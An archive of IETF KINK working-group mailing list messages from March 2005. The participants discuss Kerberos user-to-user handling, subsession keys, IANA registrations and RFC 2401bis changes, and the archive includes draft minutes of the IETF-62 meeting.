"Fri, 28 Jan 2005 21:19:39 -0500 (EST)" <20050129021939.1963F76C87@luminous.mit.edu> References: <20050129021939.1963F76C87@luminous.mit.edu> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050307084029U.sakane@kame.net> Date: Mon, 07 Mar 2005 08:40:29 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 16 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > Section 11: > > Needs work. You may want to stop by tthe IANA office hours and ask > them for advice. They are generally quite good at working with > authors to figure out how things need to be specified. I will take the following questions, and try to contact the desk. which codes do we want ? which codes should we define ? kink port number kink error number kink payload type I am thinking that the port number should be assigned by IANA, and others are defined by us. From owner-ietf-kink Mon Mar 7 14:51:44 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j27Mpilw053244; Mon, 7 Mar 2005 14:51:44 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j27Mpi5n053243; Mon, 7 Mar 2005 14:51:44 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j27MphA1053224 for ; Mon, 7 Mar 2005 14:51:44 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 79F845E for ; Tue, 8 Mar 2005 07:51:17 +0900 (JST) Received: from mitana.nanohz.org ([2001:468:19ff:128:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 1j1a04; Tue, 8 Mar 2005 07:51:17 +0900 (JST) Date: Mon, 07 Mar 2005 16:53:05 -0600 Message-ID: <20050307165305VZ%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: #2 U2U misc User-Agent: Wanderlust/2.12.2 (99 Luftballons) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Comments from Sam are devided and have dedicated issue number, so I'm replying to Ken's comments. At Tue, 22 Feb 2005 17:49:09 +0900, "KAMADA Ken'ichi" wrote: > > #2 [*] U2U (section 3, 4.2, and 5.1.2) > (not yet analyzed) > > I think we need to look at how u2u works at various parts of > the protocol. In particular I'm concerned about choosing the right > u2u principal, dealing with cross-realm u2u and dealing with > recovering from reboots. We should confirm all these work out. > (Sam Hartman) > > # choosing the right u2u is discuessed in #3. > # cross-realm u2u is discussed in #19. > # how to know and get new TGT when peer reboots is discussed in #7 > > More examination of user-to-user case, especially situations where > it might *not* be two PKINIT clients, which section 3 says is possible. > (Ken Raeburn) As far as I understand, U2U is involved when the responder needs it and the initator has nothing to do with it. So if KINK works with two PKINIT clients, it would also work well when the responder is only a PKINIT client. Am I missing something? > In the user-to-user case with TGTs, I think the KINK draft may be > over-specifying things that should be dealt with at the Kerberos level. > If things are underspecified in Kerberos Clarifications, let's deal > with that. (Ken Raeburn) Could you point more specifically? I guess you are talking about the RealmName description of section 5.1.5. If it (you are talking on section 5.1.5) is the case, I've proposed changing the KINK_TGT_REQ format, so this issue may be disappers. -- KAMADA Ken'ichi From owner-ietf-kink Mon Mar 7 21:12:59 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j285Cx4t076481; Mon, 7 Mar 2005 21:12:59 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j285Cxrm076480; Mon, 7 Mar 2005 21:12:59 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j285Cfof076440 for ; Mon, 7 Mar 2005 21:12:58 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (wireless-130-129-135-239.ietf62.ietf.org [130.129.135.239]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j285CRhB000220; Tue, 8 Mar 2005 14:12:29 +0900 (JST) (envelope-from sakane@kame.net) To: hartmans-ietf@mit.edu Cc: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] In-Reply-To: Your message of "Tue, 18 Jan 2005 17:31:08 -0500" References: X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050308141232O.sakane@kame.net> Date: Tue, 08 Mar 2005 14:12:32 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 20 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > [**] Discuss status message, rebooting peers and u2u. This looks a > lot like the IKE case where you lose all cryptographic context to me. When the responder reboots, and an initiator sends a CREATE with USE-SESSION-KEY to the responder, then the responder uses 1) a identical TGT like storing a flush card. 2) a different TGT from the previous, like using PK-INIT to decode the message from the initiator. #1. rebooting does not matter at the both sides. #2. the responder can not decode the message, because the responder does not have the previous session key at all. my proposal is that the responder sends back KRB_TGT_REP including its new TGT..(A). then, the initiator can proceed to the next step like GETTGT operation. The initiator MUST NOT believe that the responder rebooted by receiving the KRB_TGT_REP message. From owner-ietf-kink Wed Mar 9 05:51:42 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j29Dpg0W076998; Wed, 9 Mar 2005 05:51:42 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j29Dpg4k076997; Wed, 9 Mar 2005 05:51:42 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j29DpNXJ076953 for ; Wed, 9 Mar 2005 05:51:41 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (wireless-130-129-135-239.ietf62.ietf.org [130.129.135.239]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j29DpKhB010029 for ; Wed, 9 Mar 2005 22:51:21 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: AD Review: draft-ietf-kink-kink [starting at section 5] In-Reply-To: Your message of "Mon, 07 Mar 2005 08:40:29 +0900" <20050307084029U.sakane@kame.net> References: <20050307084029U.sakane@kame.net> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050309225109Q.sakane@kame.net> Date: Wed, 09 Mar 2005 22:51:09 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 49 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, I went to the IANA desk yesterday. She suggested me that: 1) we have to decide which codes are the IANA matter. 2) we have to explain in the IANA consideration of the draft 2-1) which codes do we want the IANA to assign ? We can request a specific system port number for the KINK to the IANA although the number will not be accepted by some reason. 2-2) which codes do we want to register into the registry ? and which registry do we want to register ? So, my opinion is that #1. from the current docuemnt, the followin codes are IANA matter. - KINK message type - KINK payload type - KINK error code - KINK port number #2. We have to register - KINK message type - KINK payload type - KINK error code I don't think it is necessary to register them into the ISAKMP registry. so we have to request a new registry creation such like KINK registry. And the KINK port number has to be assigned by the IANA. I don't think that we need a specific system port number. so we can leave it to the IANA. > > Section 11: > > > > Needs work. You may want to stop by tthe IANA office hours and ask > > them for advice. They are generally quite good at working with > > authors to figure out how things need to be specified. > > I will take the following questions, and try to contact the desk. > > which codes do we want ? > which codes should we define ? > kink port number > kink error number > kink payload type > > I am thinking that the port number should be assigned by IANA, > and others are defined by us. > From owner-ietf-kink Wed Mar 9 07:33:56 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j29FXueX086352; Wed, 9 Mar 2005 07:33:56 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j29FXuYJ086351; Wed, 9 Mar 2005 07:33:56 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j29FXcfM086289 for ; Wed, 9 Mar 2005 07:33:55 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (wireless-130-129-135-239.ietf62.ietf.org [130.129.135.239]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j29FXZhB010707 for ; Thu, 10 Mar 2005 00:33:36 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: #12 [**] Subsession keys (section 5 and 8) X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050309232040W.sakane@kame.net> Date: Wed, 09 Mar 2005 23:20:40 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 13 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I also don't think it is necessary to forbid using sub session keys. but Michael pointed that there were some discussion about this topic in the mailing list long time before. It might be necessary to consider something. If we allow using sub session key, then we have to add a text to the document. we have to describe precisely where a session key or a sub session key is used. and if my understanding is correct, the responder can change the subsession key by the responder's policy. So if the responder changes the sub session key, the exchange needs the 3 way handshake. because the initiator will have to recalculate the KEYMAT from the subsession key from the responder. From owner-ietf-kink Wed Mar 9 07:58:19 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j29FwJkL088701; Wed, 9 Mar 2005 07:58:19 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j29FwJEk088700; Wed, 9 Mar 2005 07:58:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j29FwIqq088670 for ; Wed, 9 Mar 2005 07:58:18 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 082595E for ; Thu, 10 Mar 2005 00:57:51 +0900 (JST) Received: from mitana.nanohz.org ([130.129.135.21]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 19MzUG; Thu, 10 Mar 2005 00:57:51 +0900 (JST) Date: Wed, 09 Mar 2005 09:57:48 -0600 Message-ID: <20050309095748DV%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: #12 [**] Subsession keys (section 5 and 8) In-Reply-To: <20050309232040W.sakane@kame.net> References: <20050309232040W.sakane@kame.net> User-Agent: Wanderlust/2.12.2 (99 Luftballons) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Wed, 09 Mar 2005 23:20:40 +0900, Shoichi Sakane wrote: > > I also don't think it is necessary to forbid using sub session keys. > but Michael pointed that there were some discussion about this topic > in the mailing list long time before. It might be necessary to consider > something. I've reread old mails on this topic and I need suspend my previous comment that we should use subsession keys. > If we allow using sub session key, then we have to add a text to > the document. we have to describe precisely where a session key or > a sub session key is used. I'd like to complement this. We should consider What key is used Where. "What key" in my mind is base key, initiator's subkey, or responder's subkey. "Where" is KINK_ENCRYPT of command, checksum of command, KINK_ENCRYPT of reply, checksum of reply, and checksum of ACK). > and if my understanding is correct, the responder can change the > subsession key by the responder's policy. So if the responder > changes the sub session key, the exchange needs the 3 way handshake. > because the initiator will have to recalculate the KEYMAT from > the subsession key from the responder. -- KAMADA Ken'ichi From owner-ietf-kink Wed Mar 9 08:15:19 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j29GFJBj090091; Wed, 9 Mar 2005 08:15:19 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j29GFJ8E090090; Wed, 9 Mar 2005 08:15:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j29GFInE090025 for ; Wed, 9 Mar 2005 08:15:18 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [130.129.135.224] (wireless-130-129-135-224.ietf62.ietf.org [::ffff:130.129.135.224]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Thu, 10 Mar 2005 01:13:28 +0900 id 00007D81.422F20A9.000030A8 Message-ID: <422F20C6.6080009@miyazawa.org> Date: Thu, 10 Mar 2005 01:13:58 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: Shoichi Sakane CC: ietf-kink@vpnc.org Subject: Re: #12 [**] Subsession keys (section 5 and 8) References: <20050309232040W.sakane@kame.net> In-Reply-To: <20050309232040W.sakane@kame.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Shoichi Sakane wrote: > I also don't think it is necessary to forbid using sub session keys. > but Michael pointed that there were some discussion about this topic > in the mailing list long time before. It might be necessary to consider > something. > > If we allow using sub session key, then we have to add a text to > the document. we have to describe precisely where a session key or > a sub session key is used. I agree. > and if my understanding is correct, the responder can change the > subsession key by the responder's policy. So if the responder > changes the sub session key, the exchange needs the 3 way handshake. > because the initiator will have to recalculate the KEYMAT from > the subsession key from the responder. > Please let me confirm. Is a responder able to reject a sub-session key and use a session key in such case? -- Kazunori Miyazawa From owner-ietf-kink Wed Mar 9 08:21:01 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j29GL17d090575; Wed, 9 Mar 2005 08:21:01 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j29GL1ZX090574; Wed, 9 Mar 2005 08:21:01 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j29GKxrl090532 for ; Wed, 9 Mar 2005 08:21:00 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (wireless-130-129-135-239.ietf62.ietf.org [130.129.135.239]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j29GKphB010953 for ; Thu, 10 Mar 2005 01:20:52 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: #12 [**] Subsession keys (section 5 and 8) In-Reply-To: Your message of "Thu, 10 Mar 2005 01:13:58 +0900" <422F20C6.6080009@miyazawa.org> References: <422F20C6.6080009@miyazawa.org> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050309234110K.sakane@kame.net> Date: Wed, 09 Mar 2005 23:41:10 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 4 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > Is a responder able to reject a sub-session key and use a session key > in such case? It's kerberos matter. in either case, we have to describe it. From owner-ietf-kink Thu Mar 10 15:27:03 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j2ANR3t5070064; Thu, 10 Mar 2005 15:27:03 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j2ANR3aN070063; Thu, 10 Mar 2005 15:27:03 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j2ANR21W070055 for ; Thu, 10 Mar 2005 15:27:03 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 7E03860 for ; Fri, 11 Mar 2005 08:26:52 +0900 (JST) Received: from mitana.nanohz.org ([130.129.135.21]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 4m8mKx; Fri, 11 Mar 2005 08:26:52 +0900 (JST) Date: Thu, 10 Mar 2005 17:26:48 -0600 Message-ID: <20050310172648NM%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Issue list URL User-Agent: Wanderlust/2.12.2 (99 Luftballons) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, I've put the current issue list at the following URL so that participants of the meeting can view it easily. The contents of it may be changed (at least reordering will occur). Regards, -- KAMADA Ken'ichi From owner-ietf-kink Thu Mar 10 15:26:08 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j2ANQ8P0070040; Thu, 10 Mar 2005 15:26:08 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j2ANQ8vW070039; Thu, 10 Mar 2005 15:26:08 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j2ANQ6aU070025 for ; Thu, 10 Mar 2005 15:26:07 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id 029411FC05 for ; Fri, 11 Mar 2005 08:25:41 +0900 (JST) Date: Fri, 11 Mar 2005 08:25:37 +0900 (JST) Message-Id: <20050311.082537.98677534.nov@tahi.org> To: ietf-kink@vpnc.org Subject: url of the issue list From: Nobuo OKABE X-Mailer: Mew version 4.2 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi all, The following is the issue list which Kamada-san is maintaining. His presentation (tomorrow) will be based upon that. http://www.taca.jp/kink/kink-issue-list.txt thanks, ----- nobuo From owner-ietf-kink Wed Mar 30 13:52:30 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j2ULqUFV030432; Wed, 30 Mar 2005 13:52:30 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j2ULqTPA030431; Wed, 30 Mar 2005 13:52:29 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from dogbert.ihtfp.org (me@DOGBERT.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j2ULqQTm030409 for ; Wed, 30 Mar 2005 13:52:26 -0800 (PST) (envelope-from warlord@MIT.EDU) Received: (from warlord@localhost) by dogbert.ihtfp.org (8.12.9) id j2ULqBXi004157; Wed, 30 Mar 2005 16:52:11 -0500 From: Derek Atkins To: ietf-kink@vpnc.org Cc: hartmans-ietf@MIT.EDU, housley@vigilsec.com Subject: Draft Minutes for IETF-62 KINK Meeting Date: Wed, 30 Mar 2005 16:52:11 -0500 Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-=-= Sorry for taking so long to get these out. Please let me know if I've missed anything. -derek --=-=-= Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: attachment; filename=minutes-62.txt Content-Transfer-Encoding: quoted-printable Content-Description: Draft Minutes from KINK at IETF-62 KINK Working Group IETF-62 Friday, March 11, 2005 Co-Chairs: Derek Atkins and John Trostle Minutes, edited from the jabber logs. - Agenda Bashing Nothing to add. We swapped some ordering due to time constraints. - draft-ietf-kink-kink editorial status The editor is not here. We should have a document by next ietf. - rfc1510 v krb-clarifications / kcrypto Ken Raeburn, "kerberos and kink" summary of changes from 1510. quite a lot of changes, presenting ones relevant to kink. crypto split out into separate doc, treat as black box. fixed some bugs, cleaned up asn.1. compatibility with existing implementations rather than older spec. add ability to extend kerberos protocol in future. krb-error did not get checksum added as shown in some of the krb-revisions drafts. crypto rfc3961, black box crypto. simple operations/attributes. operations - how to generate keys from passphrase, random bits. req'd checksum for each cryptosystem. pseudorandom function based on encryption key; takes string of arb. bits, gives back random output string for key gen, other purposes. encryption/decryption have integrity checking built in (lit describes as authenticated encryption). treated as inseparable; newer auth encryption modes may make it difficult to separate them anyway. encryption not deterministic (all cryposystems use rand confounder). no assumption of fixed length output. decrypt w/verf; may have padding octets at end, so length may change on decryption (doesn't matter for krb due to asn.1 framing). checksum systems - MAC, not hash functions; fns to generate/verify. output not necessarily deterministic ... or fixed length. question: what cksumtype have we defined already that's nondeterministic? Jeff Hutzelman says md5-des, etc. are confounded i think Sam Hartman: I believe some of the DES cksumtypes are nondeterministic [ verifies later that des-mac is non-deterministic ] - 2401 v. 2401bis Derek Atkins presents as Steve Kent could not attend. Derek: steve couldn't be here today; he sent me a list. unfortunately he sent in email, so I cobbled together slides Jeff H: are these slides available online? Derek: download 2401bis; the list is in there. Sam H: The slides are verbatim out of draft-ietf-ipsec-rfc2401bis Derek: Processing model has been changed to address new scenarios.=20 There is a new database - peer authorization database (PAD), which provides a link between IKE and SPD. The processing model based on decorrelation of the SPD; allows caching of SPD entries. If an implementation uses a decorrelated SPD, it should send the list of linked, decorrelated SPD entries via IKE v2 when negotiating an SA There is no longer a requirement to support nested SA's or "SA bundles"; instead this can be achieved through SPD and forwarding table configuration SPD entries were redefined to provide more flexibility. TOS (IPv4) and traffic class (IPv6) have been replaced by DSCP and ECN. The tunnel section has been updated to explain how to handle DSCP and ECN bits. DSCP values may be copied from a tunnel header to the inner header by a receiver, based on per-sa configuration controls. [10:26:35 AM] for tunnel mode SA's, an SG, BITS, or BITW implementation is now allowed to fragment before applying IPsec. This applies only to IPv4; for v6 only the originator may may fragment. 2401bis clarifies that for all traffic crossing the ipsec boundary (including ipsec management traffic), the SPD or associated caches must be consulted. Sam H: the problem here is there are apparently a lot of impls that will take an incoming packet, find a key to decrypt it, and accept it, without bothering to check whether it's on the right SA Mike Thomas: does that affect KINK? Derek: 2401bis defines how to handle the situation of an SG with multiple subscribers requiring different IPsec contexts a definition of reserved SPIs has been added. text has been added explaining why ALL IP packets must be checked -- ipsec includes minimal firewall functionality to support access control at the IP layer Mike T: It would be nice to get to the ones that might affect us Derek: I know not all of these apply directly to KINK; steve didn't filter = for me. Sam H: Yes it would; this is not the most useful presentation. Steve Kent didn't have much time to prepare it. Derek: The tunnel section has been updated to clarify how to handle the ip options field and Ipv6 extension headers when constructing the outer header. SA mapping for inbound traffic has been updated to be consistent with changes made in ah and esp for support of unicast, anycast, and multicast SAs. Guidance has been added wrt how to handle covert channel created in tunnel mode by copying the dscp value to outer header. Support for AH in IPv4 and IPv6 no longer required. PMTU handling has been updated. Appendix on PMTU/DF/fragmentation deleted. Added text saying "The IPSP WG is a possible future source of guidance. One of their goals is to produce an ID on a "Security Discovery, Policy Exchange, and Negotiation Protocol." Sam H: we just closed IPSP Derek: Three approaches have been added for handling plaintext fragments on the protected side of the ipsec boundary. Added revised text describing how to derive selector values for SAs (from the SPD entry or from the packet, etc). Added a new table describeing the relationship between selector values in an SPD entry, the PFP flag, and resulting selector values in the corresponding SAD entry. Added appendix B to describe decorrelation. Added text describing how to handle an outbound packet which must be discarded. Added text describing how to handle a discarded inbound packet (one that does not match SA on which it arrive). IPv6 mobility header has been added as a possible next-layer protocol. IPv6 mobility header message type has been added as a selector. ICMP message type, code have been added as selectors. Selector "data sensitiviy level" has been removed to simplify things. Updated text describing handling ICMP error messages. appendix on "categorization of ICMP messages" has been deleted. Text for the selector name has been updated and clarified. The "next layer protocol" has been further explained and a default list of protocols to skip when looking for NLP has been added. The text has been amended to say this doc assumes use of IKEv2 or an SA management protocol with comparable features. Text has been added clarifying the algorithm for mapping inbound IPsec datagrams to SAs in the presence of multicast SAs. The appendix "sequence space window code example" has been removed. WRT IP addres and ports, the terms "local" and "remote" are used for policy rules (repl. "source" and "destination"). "Local" refers to the entiy being protected by the ipsec impl; "remote" refers to a peer entity(s). The terms "source" and "destination" still used for packet header fields. Any questions/comments? Mike T: maybe have derek go through the list quickly and see if anybody believes it affects us. did any of them actually affect kink at = all? Tero Kivenin: Discusses the changes. Jeff H: yeah, the part abouf "IKEv2 or an SA management protocol with comparable features" affects KINK none of the rest sounded to me like it was of much interest to kink Mike T: Ask tero whether we can have a normative reference to ikev2's sa creation payloads like we did with ikev1 to pick up these features? So here's my take: we can either just live with 2401 SA right now, put capability for 2401 and 2401bis into this draft, or have a second rfc to update vor 2401bis features Sam H: I expect 2401bis to clear the IESG "very soon" Mike T: I sort of like the latter. We directly use ikv1 sa creation by normatively referencing it. Part of this is that I'm not sure about the upgrade strategy. So if we can normatively reference parts of ikev2 in a future draft, that would make it a lot easier. We really don't want two different ways to access 2401bis negotiation, I think. [ People seem to agree ] Sam H: Tero, do you think that would be OK? Tero: [ meaning yes ] - discussion of open issues KAMADA Ken'ichi : KINK issue list update (see slides) [ update on issue list; most issues were closed. only three issues remain = open ] Jeff H: do we think kink needs its own key usages, or can it use the app nu= mbers? Jeff H: so, can anyone think of a reason why the U2U case shouldn't be simplified by having the initiator send his TGT, and making the responder talk to the KDC? =A0I'm not sure, but it seems like that would save a full round trip. Of course, you still have the problem of telling when to use U2U. Mike T: I don't think that works... if I remember correctly Derek: as I recall it can be a DoS attack against the responder. Jeff H: Hm. yeah, I suppose that could be argued. the question is whether it is worthwhile to save a round trip at the expense of having to deal with the potential DoS in some less-good way (like rate limiting SA creation) Sam H: Having a network request that requires another service to do a network request is not desirable. I.E. if you are initiating something, you should have to go do the leg work of talking to the KDC. Mike T: They may in fact be disjoint connectivitywise with the kdc's. Say the one kdc is behind a firewall... Jeff H: if they don't both have connectivity to the KDC, how did the responder get its tickets? But sam's point is well-taken. Sam H: U2U cross-realm is the interesting case Mike T: I still don't understand 12 -- can ken talk about it? Jeff H: Ken left, and I don't remember what 12 is (it's not on the srceen a= nymore) Sam H: What is 12? Derek: #12 [**] Subsession keys (section 5 and 8) Are subsession keys ignored? (Ken Raeburn) Sam H: I can discuss 12 if you like. 